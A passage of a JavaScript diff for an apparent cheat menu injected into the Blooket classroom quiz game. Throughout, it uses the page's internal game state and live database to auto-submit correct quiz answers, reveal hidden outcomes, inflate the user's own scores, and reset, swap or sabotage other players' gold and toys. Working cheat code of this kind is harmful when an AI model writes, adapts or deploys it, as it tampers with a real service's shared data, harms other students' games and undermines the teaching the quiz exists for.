(x.checkCollision.none = this.enabled, x.gameObject.setAlpha(this.enabled ? 0.5 : 1))); + } + }, + { + name: "Set Score", + description: "Sets flappy blook score", + inputs: [{ + name: "Score", + type: "number" + }], + run: function (score) { + Object.values(document.querySelector("#phaser-bouncy"))[1].children[0]._owner.stateNode.setState({ score }); + } + } + ], + gold: [ + { + name: "Always Triple", + description: "Always get triple gold", + type: "toggle", + enabled: false, + data: null, + run: function () { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode._choosePrize ||= stateNode.choosePrize; + if (!this.enabled) { + this.enabled = true; + this.data = setInterval(() => { + stateNode.choosePrize = function (i) { + stateNode.state.choices[i] = { type: "multiply", val: 3, text: "Triple Gold!", blook: "Unicorn" }; + stateNode._choosePrize(i); + } + }, 50); + } else { + this.enabled = false; + clearInterval(this.data); + this.data = null; + stateNode.choosePrize = stateNode._choosePrize || stateNode.choosePrize; + } + } + }, + { + name: "Auto Choose", + description: "Automatically picks the option that would give you the most gold", + type: "toggle", + enabled: false, + data: null, + run: function () { + if (!this.enabled) { + this.enabled = true; + this.data = setInterval(async () => { + try { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + if (stateNode.state.stage === "prize") { + const players = Object.entries(await new Promise(r => stateNode.props.liveGameController.getDatabaseVal("c", c => c && r(c))) || []).filter(x => x[0] != stateNode.props.client.name).sort((a, b) => b[1].g - a[1].g)[0]?.[1]?.g || 0; + let max = 0; index = -1; + for (let i = 0; i < stateNode.state.choices.length; i++) { + const { type, val } = stateNode.state.choices[i]; + let value = stateNode.state.gold; + switch (type) { + case "gold": value = stateNode.state.gold + val || stateNode.state.gold; break; + case "multiply": + case "divide": value = Math.round(stateNode.state.gold * val) || stateNode.state.gold; break; + case "swap": value = players || stateNode.state.gold; + case "take": value = stateNode.state.gold + players * val || stateNode.state.gold; + } + if ((value || 0) <= max) continue; + max = value, index = i + 1; + } + document.querySelector(`div[class^='styles__choice${index}']`).click(); + } + } catch { } + }, 50); + } else { + this.enabled = false; + clearInterval(this.data); + this.data = null; + } + } + }, + { + name: "Chest ESP", + description: "Shows what each chest will give you", + type: "toggle", + enabled: false, + data: null, + run: function () { + if (!this.enabled) { + this.enabled = true; + this.data = setInterval(() => { + Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.state.choices.forEach(({ text }, index) => { + let chest = document.querySelector(`div[class^='styles__choice${index + 1}']`); + if (!chest || chest.querySelector('div')) return; + let choice = document.createElement('div'); + choice.style.color = "white"; + choice.style.fontFamily = "Eczar"; + choice.style.fontSize = "2em"; + choice.style.display = "flex"; + choice.style.justifyContent = "center"; + choice.style.transform = "translateY(200px)"; + choice.innerText = text; + chest.append(choice); + }); + }, 50); + } else { + this.enabled = false; + clearInterval(this.data); + this.data = null; + } + } + }, + { + name: "Reset Players Gold", + description: "Sets a player's gold to 0", + inputs: [{ + name: "Player", + type: "options", + options: () => { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + return new Promise(res => stateNode.props.liveGameController._liveApp ? stateNode.props.liveGameController.getDatabaseVal("c", (players) => players && res(Object.keys(players))) : res([])); + } + }], + run: function (target) { + let { stateNode: { props, state } } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + props.liveGameController.setVal({ + path: "c/".concat(props.client.name), + val: { + b: props.client.blook, + g: state.gold, + tat: `${target}:swap:0` + } + }); + } + }, + { + name: "Set Gold", + description: "Sets amount of gold", + inputs: [{ + name: "Gold", + type: "number" + }], + run: function (gold) { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.setState({ gold, gold2: gold }); + stateNode.props.liveGameController.setVal({ + path: "c/".concat(stateNode.props.client.name), + val: { + b: stateNode.props.client.blook, + g: gold + } + }); + } + }, + { + name: "Swap Gold", + description: "Swaps gold with someone", + inputs: [{ + name: "Player", + type: "options", + options: () => { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + return new Promise(res => stateNode.props.liveGameController._liveApp ? stateNode.props.liveGameController.getDatabaseVal("c", (players) => players && res(Object.keys(players))) : res([])); + } + }], + run: function (target) { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.props.liveGameController.getDatabaseVal("c", (players) => { + if (!players?.[target]) return; + let { g } = players[target]; + stateNode.props.liveGameController.setVal({ + path: "c/".concat(stateNode.props.client.name), + val: { + b: stateNode.props.client.blook, + g, + tat: `${target}:swap:${stateNode.state.gold}` + } + }); + stateNode.setState({ gold: g, gold2: g }); + }); + } + }, + { + name: "Reset All Players' Gold", + description: "Set's everyone else's gold to 0", + run: function () { + let i = document.createElement('iframe'); + document.body.append(i); + window.alert = i.contentWindow.alert.bind(window); + i.remove(); + let { stateNode: { props, state } } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + let count = 0; + props.liveGameController.getDatabaseVal("c", async (players) => { + if (players) for (const player of Object.keys(players)) { + props.liveGameController.setVal({ + path: "c/".concat(props.client.name), + val: { + b: props.client.blook, + g: state.gold, + tat: `${player}:swap:0` + } + }); + count++; + await new Promise(r => setTimeout(r, 4000)); + }; + alert(`Reset ${count} players' gold!`); + }); + } + } + ], + kingdom: [ + { + name: "Choice ESP", + description: "Shows you what will happen if you say Yes or No", + type: "toggle", + enabled: false, + data: null, + run: function () { + if (!this.enabled) { + this.enabled = true; + let stats = ['materials', 'people', 'happiness', 'gold']; + let elements = Object.fromEntries([...document.querySelectorAll('[class^=styles__statContainer]')].map((container, i) => [stats[i], container])); + this.data = setInterval(() => { + let { guest: data, phase } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.state; + if (phase == "choice") { + Array.from(document.getElementsByClassName('choiceESP')).forEach(x => x.remove()); + Object.entries(data.yes || {}).forEach(x => { + if (x[0] == 'msg' || !stats.includes(x[0])) return; + let element = document.createElement('div'); + element.className = 'choiceESP'; + element.style = 'font-size: 24px; color: rgb(75, 194, 46); font-weight: bolder;'; + element.innerText = String(x[1]); + elements[x[0]].appendChild(element); + }); + Object.entries(data.no || {}).forEach(x => { + if (x[0] == 'msg' || !stats.includes(x[0])) return; + let element = document.createElement('div'); + element.className = 'choiceESP'; + element.style = 'font-size: 24px; color: darkred; font-weight: bolder;'; + element.innerText = String(x[1]); + elements[x[0]].appendChild(element); + }); + } + }, 50); + } else { + this.enabled = false; + clearInterval(this.data); + Array.from(document.getElementsByClassName('choiceESP')).forEach(x => x.remove()); + this.data = null; + } + } + }, + { + name: "Disable Tax Toucan", + description: "Tax evasion", + run: function () { + Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.taxCounter = Number.MAX_VALUE; + } + }, + { + name: "Max Stats", + description: "Sets all resources to the max", + run: function () { + Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({ materials: 100, people: 100, happiness: 100, gold: 100 }); + } + }, + { + name: "Set Guests", + description: "Sets the amount of guests you've seen", + inputs: [{ + name: "Guests", + type: "number" + }], + run: function (guestScore) { + Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({ guestScore }); + } + }, + { + name: "Skip Guest", + description: "Skips the current guest", + run: function () { + Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.nextGuest(); + } + } + ], + racing: [{ + name: "Instant Win", + description: "Instantly Wins the race", + run: function () { + const { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.setState({ progress: stateNode.state.goalAmount }, () => { + const { state: { question } } = stateNode; + try { + [...document.querySelectorAll(`[class*="answerContainer"]`)][question.answers.map((x, i) => question.correctAnswers.includes(x) ? i : null).filter(x => x != null)[0]]?.click?.(); + } catch { } + }); + } + }], + royale: [ + { + name: "Auto Answer (Toggle)", + description: "Toggles auto answer on", + type: "toggle", + enabled: false, + data: null, + run: function () { + if (!this.enabled) { + this.enabled = true; + this.data = setInterval(() => { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode?.onAnswer?.(true, stateNode.props.client.question.correctAnswers[0]); + }, 50); + } else { + this.enabled = false; + clearInterval(this.data); + this.data = null; + } + } + }, + { + name: "Auto Answer", + description: "Chooses the correct answer for you", + run: function () { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode?.onAnswer?.(true, stateNode.props.client.question.correctAnswers[0]); + } + }, + ], + rush: [ + { + name: "Set Blooks", + description: "Sets amount of blooks you or your team has", + inputs: [{ + name: "Blooks", + type: "number" + }], + run: function (numBlooks) { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.setState({ numBlooks }); + stateNode.isTeam ? stateNode.props.liveGameController.setVal({ + path: `a/${stateNode.props.client.name}/bs`, + val: numBlooks + }) : stateNode.props.liveGameController.setVal({ + path: `c/${stateNode.props.client.name}/bs`, + val: numDefense + }); + } + }, + { + name: "Set Defense", + description: "Sets amount of defense you or your team has (Max 4)", + inputs: [{ + name: "Defense (max 4)", + type: "number", + max: 4 + }], + run: function (defense) { + let numDefense = Math.min(defense, 4); + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.setState({ numDefense }); + stateNode.isTeam ? stateNode.props.liveGameController.setVal({ + path: `a/${stateNode.props.client.name}/d`, + val: numDefense + }) : stateNode.props.liveGameController.setVal({ + path: `c/${stateNode.props.client.name}/d`, + val: numDefense + }); + } + } + ], + workshop: [ + { + name: "Remove Distractions", + description: "Removes all enemy distractions", + run: function () { + Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({ fog: !1, dusk: !1, wind: !1, plow: !1, blizzard: !1, force: !1, canada: !1, trees: [!1, !1, !1, !1, !1, !1, !1, !1, !1, !1] }); + } + }, + { + name: "Send Distraction", + description: "Sends a distraction to everyone else playing", + inputs: [{ + name: "Distraction", + type: "options", + options: Object.entries({ c: "Oh Canada", b: "Blizzard", f: "Fog Spell", d: "Dark & Dusk", w: "Howling Wind", g: "Gift Time!", t: "TREES", s: "Snow Plow", fr: "Use The Force" }).map(([value, name]) => ({ name, value })) + }], + run: function (val) { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.safe = true; + stateNode.props.liveGameController.setVal({ path: `c/${stateNode.props.client.name}/tat`, val }); + } + }, + { + name: "Set Toys", + description: "Sets amount of toys", + inputs: [{ + name: "Toys", + type: "number" + }], + run: function (toys) { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.setState({ toys }); + stateNode.props.liveGameController.setVal({ + path: "c/".concat(stateNode.props.client.name), + val: { + b: stateNode.props.client.blook, + t: toys + } + }); + } + }, + { + name: "Set Toys Per Question", + description: "Sets amount of toys per question", + inputs: [{ + name: "Toys Per Question", + type: "number" + }], + run: function (toysPerQ) { + Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({ toysPerQ }); + } + }, + { + name: "Swap Toys", + description: "Swaps toys with someone", + inputs: [{ + name: "Player", + type: "options", + options: () => { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + return new Promise(res => stateNode.props.liveGameController._liveApp ? stateNode.props.liveGameController.getDatabaseVal("c", (players) => players && res(Object.keys(players))) : res([])); + } + }], + run: function (target) { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.props.liveGameController.getDatabaseVal("c", (players) => { + if (players && Object.keys(players).map(x => x.toLowerCase()).includes(target.toLowerCase())) { + let [player, { t: toys }] = Object.entries(players).find(([name]) => name.toLowerCase() == target.toLowerCase()); + stateNode.props.liveGameController.setVal({ + path: "c/".concat(stateNode.props.client.name), + val: { + b: stateNode.props.client.blook, + t: toys, + tat: `${player}:swap:${stateNode.state.toys}` + } + }); + stateNode.setState({ toys }); + } + }); + } + } + ], + settings: [ + { + name: "Import Settings", + description: "Import a custom theme", + inputs: [ + { + name: "JSON Data", + type: "string" + } + ], + run: function (theme) { + try { + JSON.parse(theme); + } catch (e) { + return alert("Invalid JSON provided"); + } + theme = { backgroundColor: "rgb(11, 194, 207)", infoColor: "#9a49aa", cheatList: "#9a49aa", defaultButton: "#9a49aa", disabledButton: "#A02626", enabledButton: "#47A547", textColor: "white", inputColor: "#7a039d", contentBackground: "rgb(64, 17, 95)", ...JSON.parse(theme) } + Settings.setItem("theme", theme); + for (const prop in theme) variables.sheet.cssRules[0].style.setProperty(`--${prop}`, theme[prop]); + } + }, + { + name: "Export Settings", + description: "Export the current theme to JSON", + run: async function () { + await navigator.clipboard.writeText(JSON.stringify(Settings.data.theme, null, 4)); + prompt("Text copied to clipboard. (Paste below to test)"); + } + }, + { + name: "Defaults", + description: "Changes all the settings to a preset", + inputs: [ + { + name: "Theme", + type: "options", + options: [ + { + name: "Default", + value: { + backgroundColor: "rgb(11, 194, 207)", + infoColor: "#9a49aa", + cheatList: "#9a49aa", + defaultButton: "#9a49aa", + disabledButton: "#A02626", + enabledButton: "#47A547", + textColor: "white", + inputColor: "#7a039d", + contentBackground: "rgb(64, 17, 95)" + } + }, + { + name: "Blacket", + value: { + backgroundColor: "#4f4f4f", + infoColor: "#2f2f2f", + cheatList: "#2f2f2f", + defaultButton: "#4f4f4f", + disabledButton: "#eb6234", + enabledButton: "#00c20c", + textColor: "white", + inputColor: "#3f3f3f", + contentBackground: "#2f2f2f" + } + }, + { + name: "Skool.lol", + value: { + backgroundColor: "linear-gradient(90deg, rgba(104,45,140,1) 220px, rgba(237,30,121,1) 100%)", + cheatList: "#1e2124", + infoColor: "#1e2124", + defaultButton: "#36393e", + inputColor: "#1e2124", + enabledButton: "#9c9a9a", + textColor: "white", + disabledButton: "#171717", + contentBackground: "#292929" + } + }, + { + name: "Blue - Purple Background", + value: { + backgroundColor: "linear-gradient(162.5deg, rgba(0,183,255,1) 220px, rgba(128,0,255,1) 100%)" + } + }, + { + name: "Saint Patricks Background", + value: { + backgroundColor: "rgb(9, 148, 65)" + } + }, + { + name: "Halloween Background", + value: { + backgroundColor: "rgb(41, 41, 41)" + } + }, + { + name: "Fall Background", + value: { + backgroundColor: "rgb(224, 159, 62)" + } + }, + { + name: "Winter Background", + value: { + backgroundColor: "linear-gradient(rgb(49, 170, 224), rgb(187, 221, 255))" + } + }, + { + name: "Crypto Hack", + value: { + backgroundColor: "radial-gradient(#11581e,#041607)", + infoColor: "#1a1a1a", + cheatList: "#1a1a1a", + defaultButton: "rgb(88 175 88)", + disabledButton: "#A02626", + enabledButton: "#0b601b", + textColor: "white", + inputColor: "rgb(0 0 0 / 25%)", + contentBackground: "#11581e" + } + }, + { + name: "Fishing Frenzy", + value: { + backgroundColor: "linear-gradient(180deg,#9be2fe 0,#67d1fb)", + infoColor: "#c8591e", + cheatList: "#c8591e", + defaultButton: "#ff751a", + disabledButton: "#bf0e0e", + enabledButton: "#2fb62f", + textColor: "white", + inputColor: "rgb(0 0 0 / 25%)", + contentBackground: "radial-gradient(#02b0ea 40%, #1d86ea)" + } + }, + { + name: "Deceptive Dinos", + value: { + backgroundColor: "radial-gradient(rgba(220, 184, 86, 0), rgba(220, 184, 86, 0.4)), url(\"https://ac.blooket.com/play/111cb7e0ee6607ac3d1a13d534c0e0f1.png\"), #ead49a", + infoColor: "#af8942", + cheatList: "#af8942", + defaultButton: "#af8942", + disabledButton: "#A02626", + enabledButton: "#47A547", + textColor: "white", + inputColor: "rgb(0 0 0 / 10%)", + contentBackground: "radial-gradient(rgba(1,104,162,.6),rgba(24,55,110,.5)),radial-gradient(#2783b4 1.5px,#18376e 0) center / 24px 24px" + } + }, + { + name: "Blook Rush", + value: { + backgroundColor: "repeating-linear-gradient(45deg,white,white 8%,#e6e6e6 0,#e6e6e6 16%)", + defaultButton: "#36c", + inputColor: "rgb(0 0 0 / 25%)", + infoColor: "#36c", + cheatList: "#36c", + contentBackground: "#888", + textColor: "white", + disabledButton: "#A02626", + enabledButton: "#47A547" + } + }, + { + name: "Factory", + value: { + defaultButton: "#1563bf", + infoColor: "#a5aabe", + cheatList: "#a5aabe", + contentBackground: "#2d313d", + backgroundColor: "#3a3a3a", + enabledButton: "rgb(75, 194, 46)", + disabledButton: "#9a49aa", + inputColor: "rgb(0 0 0 / 25%)", + textColor: "white" + } + }, + { + name: "Cafe", + value: { + backgroundColor: "linear-gradient(90deg,rgba(200,0,0,.5) 50%,transparent 0) center / 50px 50px,linear-gradient(rgba(200,0,0,0.5) 50%,transparent 0) white center / 50px 50px", + defaultButton: "#0bc2cf", + inputColor: "rgb(0 0 0 / 25%)", + infoColor: "#ac7339", + cheatList: "#ac7339", + contentBackground: "rgb(64, 64, 64)", + textColor: "white", + disabledButton: "#A02626", + enabledButton: "#47A547" + } + }, + { + name: "Tower of Doom", + value: { + backgroundColor: "rgb(41 41 41)", + disabledButton: "rgb(151, 15, 5)", + defaultButton: "#333", + inputColor: "rgb(0 0 0 / 25%)", + contentBackground: "#404040", + enabledButton: "#4bc22e", + textColor: "white", + infoColor: "#9a49aa", + cheatList: "#9a49aa" + } + }, + { + name: "Monster Brawl", + value: { + defaultButton: "rgb(45, 51, 67)", + backgroundColor: "rgb(78, 95, 124)", + inputColor: "rgb(0 0 0 / 25%)", + contentBackground: "linear-gradient(0deg,#374154,#4f5b74)", + infoColor: "#374154", + cheatList: "#374154", + textColor: "white", + enabledButton: "#47A547", + disabledButton: "#A02626" + } + }, + { + name: "Tower Defense 2", + value: { + backgroundColor: "url(https://media.blooket.com/image/upload/v1676164454/Media/defense/backgroundTd1-02.svg) center / cover", + cheatList: "#a33c22", + infoColor: "#a33c22", + defaultButton: "#40b1d8", + inputColor: "#3e8cbe", + contentBackground: "#293c82", + enabledButton: "#47A547", + disabledButton: "#A02626", + textColor: "white" + } + }, + ] + } + ], + run: function (theme) { + Settings.setItem("theme", { ...Settings.data.theme, ...theme }); + for (const prop in theme) variables.sheet.cssRules[0].style.setProperty(`--${prop}`, theme[prop]); + } + }, + { + name: "Scale", + description: "Forces the GUI to scale from 25%-100%", + inputs: [ + { + type: "number", + name: "Percent scale", + min: 25, + max: 100, + value: (Settings.data.scale || 1) * 100 + } + ], + run: function (scale) { + scale = Math.min(Math.max(scale, 25), 100); + Settings.setItem("scale", scale / 100); + guiWrapper.style.transform = `scale(${(scale / 100)})`; + } + }, + { + name: "Hide Keybind", + description: "Change the hide keybind (Click button after input to change)", + inputs: [ + { + type: "function", + name: "Input", + function: onchange => createKeybindListener(({ shift, ctrl, alt, key }) => onchange(`${[ctrl && "Ctrl", shift && "Shift", alt && "Alt", key && key.toUpperCase()].filter(Boolean).join(' + ')}`)) + } + ], + run: function (hide) { + Settings.setItem("hide", hide); + controls.update(Settings.data.hide || { ctrl: true, key: "e" }, Settings.data.close || { ctrl: true, key: "x" }); + } + }, + { + name: "Close Keybind", + description: "Change the quick close keybind (Click button after input to change)", + inputs: [ + { + type: "function", + name: "Input", + function: onchange => createKeybindListener(({ shift, ctrl, alt, key }) => onchange(`${[ctrl && "Ctrl", shift && "Shift", alt && "Alt", key && key.toUpperCase()].filter(Boolean).join(' + ')}`)) + } + ], + run: function (close) { + Settings.setItem("close", close); + controls.update(Settings.data.hide || { ctrl: true, key: "e" }, Settings.data.close || { ctrl: true, key: "x" }); + } + }, + { + name: "Background Color", + description: "Changes the background color of the GUI", + inputs: [{ + type: "string", + name: "Color" + }], + run: function (color) { + variables.sheet.cssRules[0].style.setProperty("--backgroundColor", color); + Settings.setItem("theme.backgroundColor", color); + } + }, + { + name: "Category List Color", + description: "Changes the categories list background color", + inputs: [{ + type: "string", + name: "Color" + }], + run: function (color) { + variables.sheet.cssRules[0].style.setProperty("--cheatList", color); + Settings.setItem("theme.cheatList", color); + } + }, + { + name: "Info Color", + description: "Changes the color of the information at the top of the GUI", + inputs: [{ + type: "string", + name: "Color" + }], + run: function (color) { + variables.sheet.cssRules[0].style.setProperty("--infoColor", color); + Settings.setItem("theme.infoColor", color); + } + }, + { + name: "Button Color", + description: "Changes the color of the cheats", + inputs: [{ + type: "string", + name: "Color" + }], + run: function (color) { + variables.sheet.cssRules[0].style.setProperty("--defaultButton", color); + Settings.setItem("theme.defaultButton", color); + } + }, + { + name: "Enabled Toggle Color", + description: "Changes the color of enabled toggle cheats", + inputs: [{ + type: "string", + name: "Color" + }], + run: function (color) { + Settings.setItem("theme.enabledButton", color); + } + }, + { + name: "Disabled Toggle Color", + description: "Changes the color of disabled toggle cheats", + inputs: [{ + type: "string", + name: "Color" + }], + run: function (color) { + variables.sheet.cssRules[0].style.setProperty("--disabledButton", color); + Settings.setItem("theme.disabledButton", color); + } + }, + { + name: "Text Color", + description: "Changes the text color", + inputs: [{ + type: "string", + name: "Color" + }], + run: function (color) { + variables.sheet.cssRules[0].style.setProperty("--textColor", color); + Settings.setItem("theme.textColor", color); + } + }, + { + name: "Input Color", + description: "Changes the color of inputs, like the set gold number input", + inputs: [{ + type: "string", + name: "Color" + }], + run: function (color) { + variables.sheet.cssRules[0].style.setProperty("--inputColor", color); + Settings.setItem("theme.inputColor", color); + } + }, + { + name: "Content Color", + description: "Changes the background color of the cheats", + inputs: [{ + type: "string", + name: "Color" + }], + run: function (color) { + variables.sheet.cssRules[0].style.setProperty("--contentBackground", color); + Settings.setItem("theme.contentBackground", color); + } + } + ], + alerts: [ + { + element: createElement("div", { + className: "alertContainer", + style: { + margin: "15px 15px 5px 15px", + backgroundColor: "rgb(0 0 0 / 50%)", + width: "95%", + height: "370px", + borderRadius: "7px", + display: "block", + alignItems: "center", + justifyContent: "center" + } + }, createElement("ul", { + className: "alertList", + style: { + margin: "10px 10px 0 10px", + padding: "0", + listStyleType: "none", + display: "flex", + flexDirection: "column-reverse", + height: "355px", + overflowY: "scroll", + wordWrap: "break-word" + } + }, + createElement("li", { + style: { + margin: "5px" + } + }, + createElement("span", { + style: { color: "var(--textColor)" }, + innerText: "[LOG] GUI opened" + }) + ) + )), + addLog(message, color) { + return this.element.firstChild.prepend(createElement("li", { style: { margin: "5px" } }, createElement("span", { style: { color: color || "var(--textColor)" }, innerHTML: "[LOG] " + message }))); + }, + addAlert(name, blook, message) { + return this.element.firstChild.prepend(createElement("li", { style: { margin: "5px" } }, createElement("img", { + src: blook || this.blookData?.Black?.url, + alt: "blook", + draggable: false, + style: { height: "22.5px", margin: "0 10px -5px 0" } + }), createElement("strong", {}, name), " ", message)); + }, + connection: null, + data: {}, + updateLeaderboard(standings) { + if (!this.leaderboardEl) this.addLeaderboard(); + this.leaderboard.innerHTML = ""; + for (const { blook, name, value } of standings) { + this.leaderboard.append(createElement("li", { + style: { + fontSize: "2rem", + paddingInline: "72px 15px", + paddingBlock: "1.25px", + position: "relative" + } + }, + createElement("img", { + src: this.blookData?.[blook]?.url || this.blookData.Black.url, + alt: blook, + draggable: false, + style: { + height: "45px", + position: "absolute", + left: "15px" + } + }), name, createElement("span", { + innerText: this.parseNumber(parseInt(value)), + style: { float: "right" } + }) + )); + } + }, + parseNumber(num = 0) { + var parsed = num; + if (num < 1e3) return parsed.toString(); + const coeffs = ["", "K", "M", "B", "T"]; + const coeffIndex = Math.floor((num.toString().length - 1) / 3); + if (coeffIndex < coeffs.length) { + let rounded = 0; + for (let i = 3; i >= 1; i--) { + rounded = parseFloat((0 !== coeffIndex ? num / Math.pow(1e3, coeffIndex) : num).toPrecision(i)); + if (rounded.toString().replace(/[^a-zA-Z 0-9]+/g, "").length <= 3) break; + } + rounded % 1 != 0 && (rounded = rounded.toFixed(1)); + parsed = rounded + coeffs[coeffIndex]; + } else { + let rounded = num, tens = 0; + for (; rounded >= 100; tens++) rounded = Math.floor(rounded / 10); + let exponents = ""; + let powers = ["⁰", "¹", "²", "³", "⁴", "⁵", "⁶", "⁷", "⁸", "⁹"]; + for (const n of (tens + 1).toString().split("")) exponents += powers[Number(n)]; + parsed = `${rounded / 10} × 10${exponents}`; + } + return parsed; + }, + addLeaderboard() { + this.blookData ||= Object.values(webpackJsonp.push([[], { ['']: (_, a, b) => { a.cache = b.c }, }, [['']],]).cache).find(x => x.exports?.a?.Alice && x.exports?.a?.Alien).exports.a; + this.element.append(this.leaderboardEl = createElement("div", { + id: "leaderboardContent", + style: { + position: "absolute", + inset: "110% 0px" + } + }, + createElement("div", { + style: { + alignItems: "center", + boxSizing: "border-box", + display: "flex", + flexDirection: "row", + flexWrap: "wrap", + justifyContent: "space-evenly", + padding: "20px 5px 20px", + position: "relative", + width: "100%", + fontFamily: "Nunito, sans-serif", + fontWeight: "400", + color: "var(--textColor)", + background: "var(--contentBackground)", + boxShadow: "inset 0 -6px rgb(0 0 0 / 20%)", + borderRadius: "7px" + } + }, + createElement("div", { + className: "headerText", + style: { + boxSizing: "border-box", + display: "block", + height: "45px", + left: "-10px", + padding: "4px 4px 8px", + position: "absolute", + top: "-28px", + backgroundColor: "#ef7426", + boxShadow: "0 4px rgb(0 0 0 / 20%), inset 0 -4px rgb(0 0 0 / 20%)", + borderRadius: "7px" + } + }, + createElement("div", { + style: { + alignItems: "center", + boxSizing: "border-box", + display: "flex", + height: "100%", + justifyContent: "center", + padding: "0 15px", + width: "100%", + fontFamily: "Titan One, sans-serif", + fontSize: "26px", + fontWeight: "400", + textShadow: "-1px -1px 0 #646464, 1px -1px 0 #646464, -1px 1px 0 #646464, 2px 2px 0 #646464", + color: "white", + background: "linear-gradient(#fcd843,#fcd843 50%,#feb31a 50.01%,#feb31a)", + borderRadius: "5px" + }, + innerText: "Leaderboard" + }) + ), + createElement("div", { + className: "alertContainer", + style: { + margin: "15px 15px 5px 15px", + backgroundColor: "rgb(0 0 0 / 50%)", + width: "95%", + height: "370px", + borderRadius: "7px", + display: "flex", + alignItems: "center", + justifyContent: "center" + } + }, (this.leaderboard = createElement("nl", { + className: "alertList", + style: { + marginTop: "10px", + padding: "0", + listStyleType: "decimal", + width: "100%", + height: "355px", + overflowY: "scroll", + wordWrap: "break-word" + } + }))) + ) + )) + }, + async connect() { + try { + const { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + if (!stateNode?.props?.liveGameController?._liveGameCode) return false; + this.connection = await stateNode.props.liveGameController.getDatabaseRef("c"); + const blooks = this.blookData = Object.values(webpackJsonp.push([[], { ['']: (_, a, b) => { a.cache = b.c }, }, [['']],]).cache).find(x => x.exports?.a?.Alice && x.exports?.a?.Alien).exports.a; + const gamemode = this.getGamemode(); + const factoryGlitches = { lb: "Lunch Break", as: "Ad Spam", e37: "Error 37", nt: "Night Time", lo: "#LOL", j: "Jokester", sm: "Slow Mo", dp: "Dance Party", v: "Vortex", r: "Reverse", f: "Flip", m: "Micro" } + this.connection.on("value", snapshot => { + const players = snapshot.val() || {}; + if (!players || !this.diffObjects(this.data, players)) return; + const added = this.diffObjects(this.data, players) + this.data = players; + let standings; + switch (gamemode) { + case "racing": + standings = Object.entries(players).map(([name, { b, pr }]) => ({ name, blook: b, value: pr || 0 })); + case "classic": + standings = Object.entries(players).map(([name, { b, p }]) => ({ name, blook: b, value: p || 0 })); + case "royale": + standings = Object.entries(players).map(([name, { b, e }]) => ({ name, blook: b, value: e || 0 })); + case "workshop": + standings = Object.entries(players).map(([name, { b, t }]) => ({ name, blook: b, value: t || 0 })); + case "brawl": + standings = Object.entries(players).map(([name, { b, xp }]) => ({ name, blook: b, value: xp || 0 })); + case "defense": + case "defense2": + standings = Object.entries(players).map(([name, { b, d }]) => ({ name, blook: b, value: d || 0 })); + case "gold": + for (const player in added) { + if (!added[player].tat) continue; + const [tat, amount] = added[player].tat.split(':'); + if (amount == "swap") this.addAlert(player, blooks[players[player].b]?.url, `just swapped with ${tat}`); + else this.addAlert(player, blooks[players[player].b]?.url, `just took ${this.parseNumber(parseInt(amount))} gold from ${tat}`); + } + standings = Object.entries(players).map(([name, { b, g }]) => ({ name, blook: b, value: g || 0 })); + break; + case "hack": + for (const player in added) { + if (!added[player].tat) continue; + const [tat, amount] = added[player].tat.split(':'); + this.addAlert(player, blooks[players[player].b]?.url, `just took ${this.parseNumber(parseInt(amount))} crypto from ${tat}`); + } + standings = Object.entries(players).map(([name, { b, cr }]) => ({ name, blook: b, value: cr || 0 })); + break; + case "fishing": + for (const player in added) { + if (added[player].f == "Frenzy") this.addAlert(player, blooks[players[player].b]?.url, `just started a frenzy`); + else if (added[player].s) this.addAlert(player, blooks[players[player].b]?.url, `just sent a ${added[player].f} distraction`); + } + standings = Object.entries(players).map(([name, { b, w }]) => ({ name, blook: b, value: w || 0 })); + break; + case "dino": + for (const player in added) { + if (!added[player].tat) continue; + const [tat, caught] = added[player].tat.split(':'); + if (caught == "true") this.addAlert(player, blooks[players[player].b]?.url, `just caught ${tat} CHEATING!`); + else this.addAlert(player, blooks[players[player].b]?.url, `investigated ${tat}`); + } + standings = Object.entries(players).map(([name, { b, f }]) => ({ name, blook: b, value: f || 0 })); + break; + case "cafe": + for (const player in added) { + if (!added[player].up) continue; + const [upgrade, level] = added[player].up.split(":"); + if (level) this.addAlert(player, blooks[players[player].b]?.url, `upgraded ${upgrade} to level ${level}`); + } + standings = Object.entries(players).map(([name, { b, ca }]) => ({ name, blook: b, value: ca || 0 })); + break; + case "factory": + for (const player in added) { + const data = added[player]; + if (data.g) this.addAlert(player, blooks[players[player].b]?.url, `activated the ${factoryGlitches[data.g]} glitch!`); + else if (data.s) { + const [amount, synergy] = data.s.split('-'); + this.addAlert(player, 